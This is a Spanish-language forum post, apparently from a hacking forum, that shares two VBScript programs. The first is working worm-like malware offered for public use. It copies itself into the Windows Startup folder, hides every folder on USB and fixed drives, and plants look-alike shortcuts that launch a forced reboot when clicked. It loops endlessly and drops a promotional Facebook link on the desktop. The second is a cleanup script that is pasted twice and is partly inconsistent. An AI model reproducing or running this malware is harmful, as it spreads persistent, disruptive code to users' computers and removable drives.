codigo # 1: Script
Citar
' Archivo Creado por Danny Paula Gómez.
' Uso Publico siempre y cuando no Modifiquen estas lineas en agradecimiento.
on error resume next
set objfso = createobject("Scripting.FileSystemObject")
set objshell = createobject("wscript.shell")
Set dc = objfso.Drives
dim installname, url, desktop, startup, argumentos
argumentos = "/c shutdown -r -t " & "10"
startup = objshell.specialfolders ("startup") & "\"
installname = wscript.scriptname
while true
For Each d in dc
if d.Isready then
if d.drivetype = 1 then
if d.freespace > 0 then
for each folder in objfso.getfolder (d.path & "\").subfolders
foldername = folder.name
copia = objfso.copyfile (wscript.scriptfullname, startup, true)
set lnkobj = objshell.createshortcut (d.path & "\" & foldername & ".lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = argumentos
foldericon = "explorer.exe, 0"
lnkobj.save()
folder.attributes = 1+2+4
Next
for each file in objfso.getfolder(d.path & "\").files
if objfso.fileexists (d.path & "\" & installname) then
objfso.getfile(d.path & "\" & installname).attributes = 2+4
end if
Next
end if
end if
end if
Next
For Each d in dc
if d.Isready then
if d.drivetype = 3 then
if d.freespace > 0 then
for each folder in objfso.getfolder (d.path & "\").subfolders
for each folder in objfso.getfolder (d.path & "\").subfolders
foldername = folder.name
copia = objfso.copyfile (wscript.scriptfullname, startup, true)
set lnkobj = objshell.createshortcut (d.path & "\" & foldername & ".lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = argumentos
foldericon = "explorer.exe, 0"
lnkobj.save()
Next
for each file in objfso.getfolder(d.path & "\").files
if objfso.fileexists (d.path & "\" & installname) then
objfso.getfile(d.path & "\" & installname).attributes = 2+4
end if
Next
end if
end if
end if
desktop = objshell.specialfolders("desktop")
Set url = objshell.createshortcut( desktop & "\f a c e b o o k .url")
url.targetpath = "www.facebook.com/danny920825"
url.save
Next
wend
' Agradezco a ||MadAntrax|| por su ayuda
' Y al staff de foro.elhacker.net donde he aprendido lo poco que se.
' Correo: danny920825@gmail.com
' facebook: danny920825
' .::Este proyecto fue realizado con fines educativos, no
' me hago responsable del uso quese le de al mismo ::.
Codigo # 2 :Anti-Script
Citar
on error resume next
set objfso = createobject("Scripting.FileSystemObject")
set objshell = createobject("wscript.shell")
Set dc = objfso.Drives
dim del, reverse, url, desktop, borrar
For Each d in dc
if d.Isready then
if d.drivetype = 1 then
if d.freespace > 0 then
for each file in objfso.getfolder (d.path & "\").files
file.attributes = 0
Next
for each folder in objfso.getfolder(d.path & "\").subfolders
foldername = folder.name
reverse = StrReverse(foldername)
folder.attributes = 0
del = objfso.deletefile(d.path & "\" & foldername & ".lnk" )
Next
end if
end if
end if
Next
For Each d in dc
if d.Isready then
if d.drivetype = 3 then
if d.freespace > 0 then
for each file in objfso.getfolder (d.path & "\").files
file.attributes = 0
Next
for each folder in objfso.getfolder(d.path & "\").subfolders
foldername = folder.name
reverse = StrReverse(foldername)
folder.attributes = 0
del = objfso.deletefile(d.path & "\" & reverse & ".lnk" )
Next
end if
end if
end if
desktop = objshell.specialfolders("Desktop")
borrar = objfso.deletefile( desktop & "\f a c e b o o k .url")
Next
set objfso = createobject("Scripting.FileSystemObject")
set objshell = createobject("wscript.shell")
Set dc = objfso.Drives
dim del, reverse, url, desktop, borrar
For Each d in dc
if d.Isready then
if d.drivetype = 1 then
if d.freespace > 0 then
for each file in objfso.getfolder (d.path & "\").files
file.attributes = 0
Next
for each folder in objfso.getfolder(d.path & "\").subfolders
foldername = folder.name
reverse = StrReverse(foldername)
folder.attributes = 0
del = objfso.deletefile(d.path & "\" & foldername & ".lnk" )
Next
end if
end if
end if
Next
For Each d in dc
if d.Isready then
if d.drivetype = 3 then
if d.freespace > 0 then
for each file in objfso.getfolder (d.path & "\").files
file.attributes = 0
Next
for each folder in objfso.getfolder(d.path & "\").subfolders
foldername = folder.name
reverse = StrReverse(foldername)
folder.attributes = 0
del = objfso.deletefile(d.path & "\" & reverse & ".lnk" )
Next
end if
end if
end if
desktop = objshell.specialfolders("Desktop")
borrar = objfso.deletefile( desktop & "\f a c e b o o k .url")
Next
PD: Utilizo citas y no codigos porque al parecer tengo algo en el navegador mareado y me sale todo como codigo desde el inicio, me disculpo si les dificulta interpretar el codigo. Diganme si les gusta y por favor, si alguien sabe sobre algun manual que hable sobre los demas objetos y los usos que se les puede dar, que me lo diga. Saludos